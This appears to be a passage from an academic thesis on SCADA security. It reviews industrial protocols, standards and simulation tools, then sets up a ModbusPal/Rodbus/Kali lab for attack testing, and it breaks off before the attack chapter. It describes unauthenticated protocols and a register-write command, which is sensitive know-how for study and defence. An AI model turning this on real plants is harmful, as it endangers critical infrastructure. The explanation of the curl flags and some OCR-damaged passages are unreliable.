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Abstract

Within this research, we provide a broad review of Supervi-
sory Control and Data Acquisition (SCADA) systems, with
particular attention paid to the commonly utilized protocols,
architecture, and simulation tools that are used in order to create
a desired testbed. The initial chapters provide an overview
of SCADA systems, covering its architecture, information on
relevant standards like IEC 61850 and IEC 60870-5, as well as
well-known protocols like Modbus, DNP3, and ICCP/TASE.
The simulation software for SCADA systems available today is
compared, with factors like capability and protocol compatibil-
ity taken into account. Using the selected simulation program,
the simulation environment is then established, and the relevant
tools are discussed. The attack methods, tools, and scripts used
to conduct the simulated attack scenarios, are provided in a
distinct section of the thesis that is devoted to discussing the
various attack possibilities.

Index Terms: Industrial Control Systems, ICS, Supervisory
Control and Data Acquisition, SCADA, protocols, standards,
simulation software, comparative analysis, security attacks

1. Introduction

The term Industrial Control Systems (ICS) is an umbrella term,
used to cover a broad number of control systems, such as Su-
pervisor Control and Data Acquisition (SCADA) systems, Pro-
grammable Logic Controllers (PLC), Distributed Control Sys-
tems (DCS), Industrial Automation Systems (IAS), Industrial
Automation and Control Systems (IACS), and other types that
are encountered in critical infrastructures, industrial sectors,
where automation and monitoring is required (powerplants, wa-
ter facilities, nuclear plants etc.) [1][2].

In this thesis, we will attempt to showcase the issues and
vulnerabilities often encountered, on the Operational Technol-
ogy (OT) sector, due to their designed architecture, not being
implemented with the security by design principle, and due to
the technological limitations (e.g., lack of proper authentica-
tion/cryptography). We have facilitated a virtual environment
that would allow us to execute some of the possible attack sce-
narios, as well as comparing the available software solutions
that would make that possible, based on specific criteria we
shall define later on (e.g., complexity, cost, scalability).

Our research may help future security researches, of any
level, to pinpoint which simulation software solution would be
suitable for their skill-set, budget and/or any additional con-
cerns they may have. In our humble opinion this is a topic that

is worth exploring, since the Industrial Control Systems’ secu-
rity posture is a field that requires more attention, since over the
past years we have observed incident of substantial impact (e.g,
Stuxnet, Industroyer).

In a later chapter we shall also discuss some of the most
commonly seen attack scenarios, based on known tactics, tech-
niques and procedures (TTPs), used by adversaries in order to
achieve their desired goal (e.g., asset discovery, moving later-
ally, data collection, impairing processes).

2. Overview of Industrial Control Protocols
and Architectures

In the present section, we shall further discuss the available
communication protocols, as well as the implemented architec-
tures used in Industrial Control Systems.

2.1. Industrial Control Systems Overview

The term ICS (Industrial Control System), is a term mostly used
for the mechanism of data gathering from various endpoint de-
vices, in order to partially of fully automate the production pro-
cess. Some of the most encountered terms, used for an ICS im-
plementation are: PCS (Process Control System), DCS ( Dis-
tributed Control Systems), and SCADA (Supervisory Control
and Data Acquisition Systems) [3].

The largest ICS are generally engineered, implementing
SCADA systems. SCADA is used to remotely control scattered
assets, acquiring data in a centralized way. SCADA systems are
frequently encountered in water distribution systems, wastew-
ater collection systems, oil and gas pipelines [3]. SCADA
systems are designed to collect data from remote devices/con-
trollers, and propagate this information though a medium (e.g.
satellite, cable, radio etc.) to a centralized system (Control Cen-
ter), where a user can connect either physically or though a net-
work, in order to manage, control and monitor in real time the
available assets.

The main components of a SCADA system, are the: i) Con-
trol Center, ii) the communication medium (satellite, cable, ra-
dio), and iii) the distributed devices, scattered accross a spe-
cific topology (usually PLC and RTU). The Human-Machine
Interface (HMI) is located in the centralized system, the Con-
trol Center, along with the Data Historian, and the Master Ter-
minal Unit (MTU). MTU’s part is crucial since its the server
that processes and stores the acquired data from the RTUs and
PLCs. HMIs role is to provide the user, an environment to dis-
play the monitored values, and the available actions that can be
taken (configuration and control of the remote devices). The
Data Historian, provides a centralized database located in the
control system, that supports analytics based on statistical pro-
cess control techniques. The communication medium, allows
the data to flow between the Control Center and the PLCs/R-



TUs, and vise versa. Finally the RTU and PLC are the devices
in charge of collecting, monitoring and controlling the sensors
and actuators.

2.2. Communication Protocols

Various communication protocols, connecting devices, are part
of any complex ICS. Some of them are: RS-485, Modbus, Mod-
busX, DNP, DNP3, HART, ICCP/TASE 2.0, CIP, BACnet.

In this section, we will briefly analyze the most commonly
used network communication protocols, in Industrial Control
Systems, and in later chapters we shall dive deeper in regards to
how these communication protocols are structured and imple-
mented.

2.2.1. RS-485

RS-485 bus standard is among others, one of the oldest stan-
dards used in the physical layer, and yet widely used to transfer
small blocks of information over long distances (up to 1219 me-
ters and data transfer rate up to 10 Mbps). The main advantage
of this standard is its flexibility, given the provided choices of
various components depending of the number of nodes (PCs,
micro-controllers, or any device suited for asynchronous com-
munication), the cable’s length, bandwidth and power consump-
tion [4][5]. Due to its design being older than the development
of Ethernet, security was not a big concern, and even nowadays
is rarely connected to the internet.

2.2.2. Modbus

Modbus is a communication protocol, implemented in appli-
cation layer, one of most widely used protocols in ICS, used
for real time communication and monitoring. Modbus was de-
signed for serial communication and was later extended to run
over TCP communication (Modbus over TCP) [2]. Modbus pro-
vides two different types of communication: query/response be-
tween a master and a slave, or broadcast communication, where
the master sends a command to its slaves [6]. Due to its old
nature, the protocol was designed with little or no security ca-
pabilities [1].

2.2.3. ModbusX

ModbusX is an expansion of the commonly used Modbus pro-
tocol in SCADA systems, which has as its primary goal to fix
some of the shortcomings of its predecessor. Modbus could not
handle large positive and negative numbers, where the Mod-
busX can handle [7].

2.2.4. Distributed Network Protocol - DNP3

DNP3 is another protocol implemented in the application layer,
primarily desinged to simplify the communication across mul-
tiple varieties of data acquisition and control systems. Three
types of communications are defined in DNP3 protocol, i) uni-
cast transaction, ii) broadcast transaction, and iii) unrequested
responses from remote devices [8].

In unicast transaction, the master can make a request to a
targeted destination slave, and the slave device responds back
with a message. In broadcast transaction, the master broadcasts
a request towards all its slaves within the network, and in this
instance, the slaves do not reply. The last type of communica-
tion, is typically periodic, unrequested (by the master) updates
or alerts from the remote devices towards the master [8].

2.2.5. HART

Highway Addressable Remote Transducer (HART) protocol, is
commonly used protocol, that is mostly suited transmitters lo-
cated in hazardous environments (petrochemical, pharmaceuti-
cal, chemical industries). Some of the published products pro-
vide a Bluetooth HART modem, for the transmitters to connect,
in order to remotely configure the transmitters while being in a
dangerous environment, without the need of physical access to
configure them [9]. Hence, HART is a combination of analog
and digital (hybrid) industrial automation protocol.

WirelessHART was later released, since the application of
wireless technologies was pushed, due to the potentially re-
duced costs in automation, and a more efficient approach in
controls installation. Bluetooth did not assure for end-to-end
wireless communication delay, and in industrial control sys-
tems, a crucial component is time accuracy, and many of the
monitored controls are obscured by obstacles making it harder
for wireless communication. These are the main concerns that
WirelessHART attempted to tackle [10].

2.2.6. ICCP/TASE 2.0,

Inter-control Center Communications Protocol (ICCP), also ref-
fered as Tele-control Application Service Element (TASE 2.0),
is a protocol that allows the communication and data exchange,
between different control centers, over LAN (Local Area Net-
work) and WAN (Wide Area Network) [11][12]. TASE 2.0 re-
lies on MMS (Manufacturing Message Specifications), in order
to transfer the data, and monitor the network nodes.

TASE 2.0 does not provide any authentication or encryption
method, and instead it implements an ingrained security suite of
underlying TCP/IP stack [12].

2.2.7. CIP

Common Industrial Protocol (CIP) is another frequently used
protocol in order to transfer data between communication ob-
jects. It was designed for engineering environments providing
some services in a more standardized format. Some of these
services are the implementation of timers and watchdogs, in
order to regulate the communication and the timing accuracy.
Another service implemented, is the prioritization of messages,
where the following priority levels are given: scheduled, low
and high [13].

2.2.8. BACnet

BAChnet (Building Autoimation & Control Network), is a pro-
tocol that was initially designed for heating, ventilation and air
conditioning (HVAC) systems, and was later extended with the
aim of supporting further functionalities [14]. BACnet aims to
solve interoperability issues among devices from different ven-
dors, by modeling exchanged information with object-oriented
representations [15]. The definition of an object in BACnet,
refers to a collection of information related with the function-
ality of a BACnet device [16]. BACnet was not primarily de-
signed with security in mind, although some solutions were pro-
posed (securing BACnet, through IP security solutions, IPsec,
Kerberos etc.) [17].

2.3. Communication Standards

In this subsection, we shall refer to the standards encountered
during the implementation of the communication media be-
tween the different components within an Industrial Control



System (ICS).

2.3.1. IEC 60870-5-104 (IEC 104)

IEC 104 is a standard that was developed on top of the pre-
vious serial communications standard IEC 60870-5-101 (IEC
101). Standard IEC was originally developed in order to enable
basic telecontrol messages between a control station and outsta-
tions, over a communication link between them (e.g telephone
network, modem circuit) [18].

IEC 104 is implemented in the application layer, and is
based on TCP/IP, carrying all the security issues due its TPC/IP
implementation. Furthermore, the non existent encryption of
the transmitted data in the application layer is another security
concern, making it an easy target for malicious actors to analyse
and proceed to MiTM attacks [19].

2.3.2. IEC 61850

IEC 61850 is an international standard, implemented in commu-
nication networks, as well in system substations. This standard
attempts to define a comprehensive framework for communi-
cation between devices and systems used in substations (e.g.,
control systems). One of its main goals is to improve the in-
teroperability and integration of devices and systems in substa-
tion automation systems. It can support both Ethernet and serial
communication protocols, and as a result provides an easier in-
tegration between the different devices across different vendors.
It is commonly implemented in electric power industries [20].

One important aspect of this standard, is the security guide-
lines that are included. Some of the guidelines are: i) Authen-
tication and access control, ii) Data integrity and confidential-
ity, iii) Network security, iv) Risk assessment and management
[21]. Although it takes security into consideration, IEC 61850
proposed SNTP protocol which has less accuracy and the need
for a more accurate protocol has been proposed for time critical
applications [22].

2.3.3. 1SO 15745

ISO 15745 ofters a framework for the creation of communica-
tion profiles for industrial automation systems. The standard
outlines the conditions for the creation and application of com-
munication profiles, which are used in industrial automation en-
vironments to guarantee interoperability between devices and
systems. To describe how devices communicate with one an-
other in a certain system, a communication profile is a set of
rules and protocols [23].

Although this standard provides rules and profiles as a
framework for the development of communication protocols
(which could be designed to meet security requirements), it
does not explicitly deal with industrial automation systems’ se-
curity needs.

2.3.4. EN 62443

EN 62443 is a set of industrial cybersecurity standards devel-
oped by the International Electrotechnical Commission (IEC)
and the International Society of Automation (ISA). EN 62443
standard is designed to provide a comprehensive framework for
securing industrial automation and control systems and related
networks against cyber threats from adversaries. The standard
covers criteria for cybersecurity management systems, risk as-
sessments, and incident response plans in addition to a list of
recommendations and best practices for safeguarding industrial
automation and control systems’ networks and devices.

However, having restrictions on cost and resources makes it
particularly difficult to effectively address all security subjects
as required by IEC 62443 [24].

3. Simulation Software

There is a big plethora of software available for simulating a
SCADA system, although each one of them carries along some
pros and cons. One may ask why use simulation software in-
stead of physically conducting the security research. The are
multiple factors we will have to take into consideration, such as
Cost of scale, Downtime, Risk of failure [25].

Implementing a SCADA system as a testbed for security re-
search raises the problem that such a system is highly expensive.
A SCADA system is composed of multiple distributed devices,
along with a variety of communicational devices [25]. Not only
that, the difference between choosing PLC or RTU devices can
greatly affect the cost, and the expertise required in order to
configure them.

Attacks like denial of service (DoS) or distributed denial
of service (DDoS) are known to cause downtime issues when
conducted, since they overwhelm the services that were not de-
signed is a way to handle such traffic. Such activities can ei-
ther increase the response times, or even shutdown the whole
service. Impacting the provided services for testing purposes,
especially in SCADA systems that are implemented within crit-
ical infrastructure, is not tolerable [25].

Finally testing security scenarios in systems that are cur-
rently active within production, opposes a great risk since the
tested attacks could bypass the security measures that are in
place, where they would defend the system [25].

Therefore, in order to tackle such issues, the option of de-
veloping a testbed using simulation software was selected. In
this way, we reduce the implementation cost (although it should
be noted that some simulation software could be an expen-
sive alternative), we are more flexible since we can load saved
presents for the given software used, revert to previous states of
a virtual machine, and finally we can eliminate the risk factor of
causing damage to any critical infrastructure or interfere with a
production line.

In this chapter we shall attempt to analyze the pros and
cons of a variety of software that can be used to simulate a
SCADA system. Simulation software that were found inter-
esting enough to conduct such research, are: IEC Server com-
bined with QTester104, OMNeT++, RINSE, GRFICS, SCA-
DAVT, TASSCS, SCADASIm, and Rodbus client combined with
ModbusPal.

3.1. IEC Server & QTester104

IEC Server is a simulation software (written in Java) to simu-
late a field device (such as an RTU) of a system implementing a
telecontrol message Protocol specified in the IEC 60870-5 [26].
This software is commonly used in order to simulate the com-
munication between the RTU and the SCADA server. One of its
major advantage of this software is that it can be found for free,
and the software is fairly simple to operate. It should be noted
that the software comes as a portable executable and does not
need to be installed, reducing the configuration time compared
to the other simulation options we shall refer to later on.

One significant drawback of this software, is that the docu-
mentation could not be found, since it was hosted in a site, that
is currently offline. Despite the lack of a manual, on the top left
corner, we can add IEC a 60870-5-104 command from a short



Figure 1: IEC server user interface.

list, which can be added or removed to the middle panel, on the
right we can click the tick-box in order to pause or resume the
simulation, on the middle top we can start or stop the server that
listens to the specified port, and finally save a preset of a given
configuration.

QTester104 is a software designed to receive data from a
field device, based on the IEC 60870-5-104 communication
protocol, in a SCADA system [26]. The software can be also
found for free, and there is also enough documentation, explain-
ing both the tools functionalities and the user interface.
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Figure 2: QTester104 user interface.

3.2. OMNeT++

OMNeT++ is an extensible, modular, component-based C++
simulation library and framework, primarily for building net-
work simulators, based on the description, within the official
website. OMNeT++ is an open source network simulator [27],
with extensive documentation. A project in OMNeT++, con-
sists primarily of three files. A NED file that contains the topol-
ogy of the network, an INI file containing the configuration of
the simulation, and the source code file written in C++ which
manages the simulation [27], and it is compiled using the NEDC
compiler, implemented within the OMNeT++ [28].

The greatest advantage of this simulation software, is its
extensive documentation, and its comprehensive manuals and
guides, provided both by researchers, and the community. One
thing that should be taken into consideration, is that the config-
uration of the created project can feel overwhelming since there
are many components that have to be comprehended and the
user must have knowledge of C++ programming language.
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Figure 3: Simulated SCADA environment in OMNeT++ [27].

3.3. RINSE

Real-time Immersive Network Simulation Environment
(RINSE) is another tool used to conduct real-time simulation
for network security exercises [29]. RINSE is able to simulate
large networks, a number of attacks and defensive measures,
making it a great candidate when it comes down to cyber
security exercises [30].

RINSE is composed out of five basic elements: i) iSSFNet
network simulator, ii) Simulator Database Manager, iii) a
database, iv) the Data Sever, v) the client-side Network Viewers.
The iSSFNet is a network simulator, that runs over the Scal-
able Simulation Framework (iSSF), an Application Program-
ming Interface (API), which is responsible for the synchroniza-
tion and functionality support. Simulation of large scale net-
works is supported, through iSSFNet being run on parallel ma-
chines. The role of the Simulator Database Manager, as the
name of it states, is supervising the simulation data collection
from the simulation nodes, in order to store them within the
database, which data is later delivered to the simulator. The
Data Sever allows the user to have monitoring capabilities, as
well as being in control of the simulated network. Finally the
Network Viewers are run on the clients, allowing their users to
have a local view of the network, and it periodically requests
data from the Data Server [29].
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Figure 4: RINSE Architecture

Through the Network View clients, the users can execute
basic commands that can affect the simulation. Such commands
can be categorized per their functionality:

¢ Attack: issued commands used for conducting attacks
(e.g DDoS attacks, worms)



» Defence: commands used for applying counter measures
(such as packet filters)

» Diagnostic networking tools: commands for basic net-
working communication

* Device control: controlling devices, allowing for func-
tionalities such as restart, or reboot

¢ Simulator data: commands sent to the simulator in order
to manipulate the output

Although RINSE appears to be a very promising simulation
software to use (highly scalable, multiple functionalities etc.), it
is fairly limited to the commands that can be used for attacks
(most attack commands revolve around denial of service), and
common penetration testing tools can not be used, in order to
showcase the variety of the possible attack methods.

3.4. GRFICS

The Graphical Realism Framework for Industrial Control Simu-
lations (GRFICS), is a complete ICS simulation framework, that
was primarily designed in a way that allows its users to be cus-
tomizable and modular, supporting the standard ICS protocols
used. The simulated ICS network was released by its creators
in order to allow, an easier and more affordable access to people
that would like to be involved with the ICS security.

GRFICS allows its components (such as PLCs, HMI and
any I/O module) to be swapped with real ICS devices. In order
to simulate its physical processes, the software utilizes: i) the
simulation backend, ii) the simulation API, iii) the 3D visual-
ization, iv) I/O modules [31].
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In regards to the visualization of the PLC, the authors have
used a modified version of the OpenPLC. OpenPLC is an open
source software for virtualizing controllers, which supported
multiple common communication protocols (e.g. IEC61131-
3, Modbus/TCP, DNP3). For the HMI’s visualization a similar
tactic was followed, where the authors implemented the Ad-
vancedHMI, another open source software that allows the virtu-
alization of an HML.

GRFICS is a great framework, that combines all the essen-
tial components (a virtualized network of PLC, HMI, router,
and a workstation), a researcher would need in order to con-
duct basic attacks and defensive counter measures, with no cost
since it can be downloaded from the GRFICS GitHub reposi-
tory. There is a great amount of documentation provided, as
well as video tutorials on how to configure the virtual machines.
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Figure 6: GRFICS HMI

3.5. SCADAVT

SCADAVT is a security framework that was developed on top
of the CORE emulator [32], which acts as the basis on which
the testbed is built upon. CORE is a network simulator, similar
to OMNET++ [27], OPNET, QualNet, NetSim, SSFNet, NS2
(NetWork Simulator 2) and NS3 (Network Simulator 3) [33].

Since the CORE emulator does not support the commonly
used SCADA protocols, the creators of the testbed developed
three essential components, which were integrated as services
within the CORE emulator. The components are:

1. Modbus/TCP Simulators of Master/Slave: The master-
slave architecture, and the communication protocols, are
key factors when attempting to simulate a SCADA sys-
tem. With that in mind, SCADAVT supports the Modbus
protocol, and the modes of master-slave are integrated
into the CORE emulator, using the ModBus library, as
well as some python scripts in order to automate the in-
tegration of the simulators to CORE (fig. 7).

2. Modbus/TCP Simulator of HMI Server: The HMI server
acts as the communication medium, between the HMI
client and the Master Terminal Unit (MTU). The com-
munication, as expected within a SCADA system, goes
both ways, allowing the user to send manipulation com-
mands (e.g. read, write) from the HMI client, to the
MTU, and vise versa, the MTU reads the provided data
from the field devices, and sends it over to the HMI
client.

3. I/O modules Simulator: This component acts as a server,
and is charge of receiving the input data, from the exter-
nal environment, and sending it over whenever that data
is requested.

In order to utilize the SCADAVT framework, the user will
have to install: i) the CORE emulator; ii) a third party publicly
accessible Modbus library, iii) a Python interpreter, iv) a secu-
rity tool (such as hping3, as used by the authors), and v) the
integration python scripts, developed by the creators [32].

CORE emulator is an open research emulator, and though
the configuration is straightforward, since the CORE emulator
is a GUI friendly solution, that does not require code in order to
configure a network topology, the absence of the python scripts
used in order to implement the required SCADA components
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Figure 7: SCADAVT Architecture

into the emulator, leaves the burden of developing new python
scripts to the end-users.

3.6. TASSCS

Testbed for Analyzing Security of SCADA Control Systems
(TASSCS), is a testbed developed at the NSF Center for Au-
tonomic Computing at the University of Arizona, aiming to as-
sist with the security research, providing innovative protection
techniques for SCADA systems [34].

TASSCS uses at its core the OPNET, a long-used by the
industry commercial network simulator [33], PowerWorld sim-
ulation system which is used to simulate the operations of seg-
ments of the electrical power grid, and the Autonomic Software
Protection System (ASPS), which role is to defend the SCADA
system and its network from the tested attacks [34].
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Figure 8: TASSCS Architecture

Through the Control HQ, all the available resources within
the simulated environment, along with the provided services,
are controlled. Implementing this component, allows for data
presentation and storage of the collected data (devices’ and sen-
sors’ historical data), as well as allowing the endusers to man-
age the grid’s resources.

The WAN component, consists of multiple simulated sen-
sors (such as PLCs, RTUs etc.), that will provide the SCADA
system the required data, and execute the requested commands
from the control center (through the HMI).

The final component, is the Large Scale Electrical Grid,
which serves as the electrical grid that is controlled by the
SCADA system. Through this component, the creators would
showcase the effectiveness of the ASPS, the system which
would prevent the launched attacks, and minimize the impact
on the operation side of the grid.

In order to simulate the PLC devices (Modbus server),
the creators utilised the Modbus RSim. The simulated Mod-
bus server is the combined with the PowerWorld server using
SimAuto application (developed by PowerWorld). Finally the

Modbus simulator is connected with the network simulator OP-
NET, and listens on the port 502 for incoming requests [34].

TASSCS shows a lot of potential as it allows us to test var-
ious attack scenarios, and has defensive capabilities which per-
mit us to study the detection and prevention aspect, through the
the Autonomic Software Protection System (ASPS).

3.7. SCADASim

SCADASIm is a framework used for simulating SCADA sys-
tems, developed at the Royal Melbourne Institute of Technol-
ogy, Melbourne, Australia. SCADASIim is an all in one, plug
and go simulator, utilizing the OMNET++ discrete event simu-
lation engine [35]. SCADASiIm was developed with three key
requirements:

1. The tool should not require programming skills

2. Allowed connectivity to multiple external devices (both
hardware and software)

3. Supporting multiple industry standard protocols (e.g.
Modbus/TPC, DNP3) [25]

Based on SCADASIm’s architecture, it consists of three essen-
tial components: i) the SSScheduler, ii) SSGate, and the iii)
SSProxy.

D\
Simulation
Simulation Environment
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SSProxy SSGate SSScheduler

External
Component
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Figure 9: ScadaSim Architecture

The SSScheduler is a real time scheduler, that allows
the users to add new schedulers to the OMNET++ simulator.
Through this component, control and synchronization of the re-
ceived messages from the external environment is made. This
is done through a SSGate instance, where its purpose is to send
and receive messages from the external environment. These in-
stances are managed by the SSScheduler.

In a nutshell, SSGate is the communication link to the ex-
ternal environment, where externeral SCADA components are
allowed to connect, through a supported communication proto-
col. Currently SCADASim supports three types of gates: Mod-
busGate, DNP3Gate, and HTTPGate.

SSProxy, is a representation of a real device or an exter-
nal application within the simulated environment, and it com-
municates with the simulated objects (e.g. PLC, RTU, MTU),
through the help of SSGate, which routes their messages [25].

SCADASIim allows for attacks to be launched from within
the simulated environment, where attacks such as: Denial of



Service, Man in the Middle, Spoofing, and Eavesdropping can
be conducted on the simulated network.

SCADASIm has a fairly easy configuration, with enough
documentation provided, and offers a complete environment
with a realistic network architecture that allows the users to con-
duct some basic attacks.

3.8. ModbusPal & Rodbus

ModbusPal is a free and open source simulation software writ-
ten in Java, which supports natively TCP/IP communication and
supports serial communication as well. It can support up to 247
slaves, and each slave can hold both registers and coils (ranging
from 1 to 65536 entries). ModbusPal has the Learn function,
where it dynamically generates the missing resources (slaves,
registers and coils) as it receives requests from the master. Fur-
thermore it supports Automations, where an automation is de-
fined as a generator that creates the values (through Linear, Ran-
dom, and Sine generators) with a predefined step, which values
can be bound with a register or a coil. ModbusPal by default
listens on port 502, which can be easily changed through the
simulators user interface, and a slave can own its own IP ad-
dress in order to be identified by the network. A project can
also be saved in am XMPP file, and can be later on be loaded
by the simulator.
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Run O Save Save as
Learn
TCP Port: | 502 ks
Record Master Seripts
Ascl Help Console

Modbus slaves

Add Enable all Disable all
192.168.1.11 Waterpump @ @ 47 K
Automation
Add Start all Stop all

Automation 1

P @ X

Figure 10: ModbusPal

Rodbus (Rust and Modbus) is a Rust implementation of the
Modbus protocol. It is a command-line tool written in Rust, and
can be easily installed using Cargo. Rodbus provides all the
essentials commands that could be used by the master, such as
reading coils and registers, and writing both single and multiple

coils or registers, using simple syntax.

From our research we have observed, that most of these
simulation software could simulate any protocol that the a re-
searcher would like to utilize (due to the software’s modular-
ity e.g., OMNeT++), or they could utilize a specific protocol,
as commonly seen Modbus/TCP. Most of these software could
also be used to simulate scenarios from most of the industry sec-
tors (e.g., Critical, power, chemical sectors), where others are
more oriented towards specific sectors. Of course another cru-
cial factor in this comparison we are making, is the software’s
price and availability. Some software are free to obtain and are
open-source, where others are either not available anymore, are
acquired through purchase, or are privately developed and used
by other organizations.

Some of the simulation software provide flexibility to the
the researchers utilizing them, in terms of how configurable the
environment is, the attack variety that can be launched against
a simulated scenario, and how scalable that project could be
(e.g., number of devices simulated, whether Firewalls, Intru-
sion Detection Systems etc., could be used while simulating
the environment). These factors along with the difficulty level
of the software’s implementation, will be the most impactful,
since not every researcher is accustomed to conducting sophis-
ticated attacks, or the researcher may not have a strong pro-
gramming/engineering background.

As a bottom line, we have observed that the more customiz-
able the simulation is, the more complex and hard to configure
the software becomes. Hence, depending on the expertise level
of the researcher, the required functionalities of the simulation,
and taking into consideration the available budget, the simula-
tion software can be chosen accordingly (7able 1.).

4. Simulation Environment

For the purpose of our research, we decided to use ModbusPal
in order to simulate the field devices (PLCs/RTUs), along with
Rodbus, which takes the role of the MTU. The reason we chose
this simulation setup is to showcase a simpler and a more eas-
ily configurable method for testing attack scenarios on SCADA
components, while they communicate using Modbus TCP/IP
protocol.

In order to get started, we would require three different vir-
tual machines; one that will be used to simulate the field de-
vices, one that will be used as an HMI, and one that will be used
to conduct the attack scenarios. For the virtual machine running
the field devices, we used a Windows 10 OS, where ModbusPal
is running (note that java is required to be prior installed). For
the HMI, we used an Ubuntu virtual machine which runs the
Rodbus client, but a Windows OS can also be used. In either
cases, Rust and Cargo must be installed on the machine. Fi-
nally for the attack simulation, we used a virtual machine using
Kali Linux as it already has all the required tools to conduct the
attacks.

4.1. Windows 10 Virtual Machine

For this virtual machine, we used the Windows 10 Enterprise
Evaluation edition which is provided by Microsoft for free. We
have installed the Java 8 (jre1.8.0_333), in order to allow us to
execute .jar files. We then downloaded ModbusPal, from its of-
ficial site (http://modbuspal.sourceforge.net/). Upon download-
ing the ModbusPal .jar file, we proceeded with executing the
file.

Through its user interface (fig. 10), we created a Mod-



Simulation software Protocol Sector Attack variety Open source Free of charge Complexity Scalability Flexibility Easy to configure Documentation
IEC Server & QTester104 IEC 60870-5 Generic - v v - - - v -
OMNeT++ Any protocol Generic v v v v v v - v
RINSE Any protocol Generic - v v v - v
GRFICS Any protocol Chemical v v v v 4 v - -
SCADAVT Modbus/TCP Generic - v - - -
TASSCS Modbus/TCP,DNP3 Energy, Chemical v v v v -
SCADASIm Any protocol Generic v v v v 4 v 4
ModbusPal & Rodbus Modbus/TCP Generic v v v - - v v v
Table 1: Simulation Software Comparison
Simulation software  Release date Latest update

IEC Server February, 2018
QTester April, 2016
OMNeT++ December 2018
GRFICS N/A

RINSE May, 2018
SCADAVT N/A

TASSCS N/A
SCADASIim December, 2018
ModbusPal March , 2009
Rodbus August, 2019

June 27, 2023
November 10, 2022
July 5, 2023

N/A

December 14, 2020
N/A

N/A

November 9, 2020
February 20, 2018
April 27,2023

Table 2: Software Latest Updates

bus slave (Add button), running on the localhost IP address
(127.0.0.1), naming the slave Waterpump (fig. 11). Once the
slave is created, we click on the Eye button right of the created
slave, in order to configure its properties.

New slave x
127.0.0.1
How to define MODBUS RTU slaves...
Add slave: ow to define MODBUS TCP slaves

Slave name: |Waterpump

Cancel Add

Figure 11: Slave Creation

Once the slave’s configuration window is opened, we have
added the default registers (65536 in number), and we used five
address. In those holding registers we will keep the input values
from the pump, as well as some maximum and minimum values,
in order to realistically simulate a pump’s behaviour (fig 12). In
more detail we have assigned the following characteristics:

¢ Input Pressure: The simulated calculated pressure value,
as monitored from the device

 Input Current: The monitored current’s value, used by
the pump

* Input Voltage: The monitored voltage’s value, used by
the pump

¢ Minimum Voltage: The minimum value, pump voltage
can take

¢ Maximum Current: The maximum value, pump current
can take

Similarly in the slave’s configuration window, in the Coils
tab, we assigned an address, with name Pump On/Off, where
this coil address is responsible on whether the pump should be
turned on or off (boolean value of zero or one) (fig 13).

[2] 127.0.0.1:Waterpump X

Import Export Modbus ~ | []Stay on top

Holding registers  Cails Functions  Tuning

Add Remove Unbind
Address Value Mame Binding

10 Input Pressure Pressure (Binding_FLOAT32:0) -~
2/0 Input Current Current (Binding_FLOAT32:0)

30 Input Voltage Voltage (Binding_SINT16:0)

4220 Minimum Voltage

51 Maximum Current

60

7o

80

90
10/0

110

12j0

13)0

140

150 v

Binding completed.

Figure 12: Holding Registers Configuration

The Binding value as seen in fig. 12, is a created automa-
tion, that will provide us the input values as simulated by Mod-
busPal. Under the Automation section of ModbusPal (fig. 10),
we can add new automations, that will generate values based
on a generator. This Automation, can be bound on a register
or coil, in order to dynamically provide values to the specified
addresses.

The three Automations are using the ModbusPal Random-
Generator, where a random number (either integer or float) will
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Figure 13: Coils Configuration

be created, within a specified limit (between a minimum and
maximum value), with a predefined step. In our case, the pres-
sure’s values, will be between 0.0 and 0.24554 in bars, with
a step of 0.9. For the current’s values, they will be generated
between 0.01 and 0.99 Amperes (since the maximum value is
predefined as 1 Ampere), with a step of 0.1. Finally for the
voltage values, the generated values are between 220 and 240
volts (many large pumps usually require 230 volts, or 120 in
case of a smaller one).

Once we have configured the slave’s registers and coils,
along with its Automations, we see the following result as
shown in fig. 17. Through the user interface, we can start the
simulation, by pressing the Run button, and enable all the pre-
configured automations, in order to provide the simulated val-
ues to their assigned register addresses.

4.2. Ubuntu Virtual Machine

For the simulation of the HMI, we used an Ubuntu based vir-
tual machine (22.04.1 x86-64 version), which runs Rodbus, a
command-line tool, that simulates the functionalities of an HMI
(e.g. read/write registers and coils), developed in Rust. As
we will show bellow it has a very simple configuration, and
a straightforward command syntax. Through this tool, we will
communicate with the Windows virtual machine (which runs
the ModbusPal), in order to modify and read the requested coils
and registers.

The first thing we should do before trying to install Rust,
which is required to run our simulation tool, is to make sure
that all the system repositories are up to date. In order to do this
we run the following command:

$ sudo apt update

Once the latest package updates were fetched, we go ahead
an execute the following command in order to download an in-
stall the updates for every outdated package and dependency on
the system.

$ sudo apt upgrade

Following up with the installation of Rust, on the virtual
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Figure 14: Pressure Automation
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Figure 17: Final Slave Configuration

machine, we execute the following command:

$ curl https://sh.rustup.rs —-sSf | sh

Through curl it shall attempt to contact the indicated server
in order to receive the required data, which command runs on
silent mode (-s), and in case it fails, it shall silently fail (-f, no
output), and will display the error message (-S). The switch sk,
is used to invoke the previous expression. Once the command
successfully runs, restarting the terminal is required in order to
progress with our installation. In order to validate that Rust was
installed on the system, we can verify it through:

$ rustc —--version

Note that in this stage of the installation, it is possible
that we can get the following error message: “Linker ’cc’ not
found”. This is a fairly easy error to troubleshot, since we are
only required to run the following command, in order to install
the required C linker:

$ sudo apt install build-essential

Next command, is used to install Cargo, where it can down-
loads the crate and all of its dependencies, and compile the ap-
plication as a single executable with no dependencies. There-
fore through Cargo we install rodbus-client.

$ cargo install rodbus-client

Similarly as before, we can verify the installation of robbus-
client, via running the following command:

$ rodbus-client —--version

Once we have verified that the installation was successful,
we can go ahead and consult the command’s manual. A sim-
ple example would be, us wanting to change the value of a
single register, on a specific address index (i.e address 5) of a
PLC/RTU, we would execute the following command:

$ rodbus-client -h 192.168.1.13 wsr
-—index 4 --value 5

Note that the address we want to target, we specify that address
minus one, as rodbus-client considers the index O as the address
1 on the HMI. The same syntax is followed in order to modify
a single coil, or multiple registers and coils.

4.3. Kali Linux Virtual Machine

For the attack emulation, we have utilized the standard Kali
Linux, as it already comes with a big variety of available pen-
etration testing tools, to conduct our security research. Though
Kali, we shall use tools in order to conduct the reconnaissance
(e.g. Nmap), and exploitation attacks towards the HMI and PLC
(e.g. Ettercap, Metasploit framework).

5. Cyber Attacks and Vulnerabilities

Goal of this chapter is to emphasize and discuss, the various
attack possibilities, that could potentially exploit the vulnera-
bilities that lie within a SCADA system, on different layers.
Furthermore we shall take a deeper dive, on how some of these



attacks could be conducted by a threat actor, via simulating at-
tack in the simulated environment.

5.1. Feasible Attacks

Security incidents and vulnerabilities of an ICS could be clas-
sified into five different layer categories: i) Hardware, ii)
Firmware, iii) Software, iv) Network, v) Operations [36]. Each
layer depictures and a different operational part, that constitute
